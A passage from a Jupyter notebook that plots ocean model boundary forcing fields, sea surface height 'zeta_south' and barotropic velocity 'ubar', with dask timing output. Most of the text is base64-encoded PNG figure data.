j0qBoNB1qxZI6dPn5by8nIJCgqS999/37Vm3bp1Yjab5bPPPpNvvvlGHnroIYmNjZWrV69qOLn3yM7OltGjR0tlZaW0trbKJ598IqNGjZIXXnjBtYYZDD6HwyGNjY3S2NgoAGTz5s3S2NgoP/74o4gM7Jjff//9kpSUJLW1tXLo0CEZN26cZGVlqf5cWBR9wJYtWyQ6OlqMRqNMnz5djhw5ovVIXguA4u3dd991rbl69ao8++yzMnz4cAkKCpKHH35YLly4oN3QPuL/FkXmoI49e/bIpEmTxGQySXx8vLz55ptu+51OpxQWFkpERISYTCZJT0+XlpYWjab1Pna7XfLy8iQ6OloCAgLkjjvukIKCArl+/bprDTMYfPv371f8XZCdnS0iAzvmv/zyi2RlZUlISIiEhobK448/Lg6HQ/XnohP5w59nJyIiIiL6X3yPIhEREREpYlEkIiIiIkUsikRERESkiEWRiIiIiBSxKBIRERGRIhZFIiIiIlLEokhEREREilgUiYiIiEgRiyIRkYcoKirC3Xfffctf/8MPP0Cn06GpqWnQZiIi38aiSETkIZYvXw6bzab1GERELgatByAiohtCQkIQEhJyS1/b09MzyNMQEfGMIhGRan766SdYLBasXbvWte2rr76C0WiEzWb7l156XrRoEebMmYM1a9YgKioK48ePd+07e/Ys7r33XgQFBSExMRE1NTVuX/vxxx9j4sSJMJlMiImJwaZNmwbl+RGR92FRJCJSyW233YZ33nkHRUVFqK+vh8PhwMKFC5Gbm4v09PR/+f5sNhtaWlpQVVWFyspK1/aCggIsX74cTU1NiIuLQ1ZWFvr6+gAADQ0NeOyxxzB//nwcP34cRUVFKCwsxI4dOwbraRKRF+FLz0REKnrwwQfx1FNPwWq1Ijk5GcHBwSgpKbml+woODsbbb78No9EI4MbFLMCN9zpmZmYCAF5++WVMnDgRZ86cQXx8PDZv3oz09HQUFhYCAOLi4tDc3IyNGzdi0aJF/+/nR0TehWcUiYhU9uqrr6Kvrw8VFRUoLy+HyWS6pftJSEhwlcQ/mjx5suvjyMhIAEBnZycA4OTJk0hLS3Nbn5aWhtOnT6O/v/+W5iAi78WiSESksu+//x7t7e1wOp2us4C3Ijg4WHG7v7+/62OdTgcAcDqdt/w4ROS7+NIzEZGKenp6sGDBAsybNw/jx4/Hk08+iePHjyM8PFyVx58wYQIOHz7stu3w4cOIi4uDn5+fKjMQ0b8PFkUiIhUVFBTg8uXLKC0tRUhICL744gssXrzY7WKUofT8889j2rRpKC4uxrx581BTU4OtW7fi9ddfV+XxiejfC4siEZFKDhw4gNdeew379+9HaGgoAOC9995DYmIiysrKVJlhypQp2LVrF1atWoXi4mJERkbilVde4YUsRKRIJyKi9RBERERE5Hl4MQsRERERKWJRJCLyQL//Oz+l25dffqn1eETkI/jSMxGRBzpz5sw/3Dd69GgEBgaqOA0R+SoWRSIiIiJSxJeeiYiIiEgRiyIRERERKWJRJCIiIiJFLIpEREREpIhFkYiIiIgUsSgSERERkSIWRSIiIiJS9D8+kQokqxXVeAAAAABJRU5ErkJggg==", "text/plain": [ "<Figure size 700x400 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "with ProgressBar():\n", " %time boundary_forcing.plot(\"zeta_south\", time=0)" ] }, { "cell_type": "markdown", "id": "2f226241-ac3c-463b-a794-815961110673", "metadata": {}, "source": [ "The same is true for the barotropic velocity `ubar`." ] }, { "cell_type": "code", "execution_count": 13, "id": "09d365cf-7fb3-4c27-a765-1384fcd12fd6", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "[########################################] | 100% Completed | 2.96 sms\n", "CPU times: user 5min 38s, sys: 291 ms, total: 5min 39s\n", "Wall time: 3.03 s\n" ] }, { "data": { "image/png": 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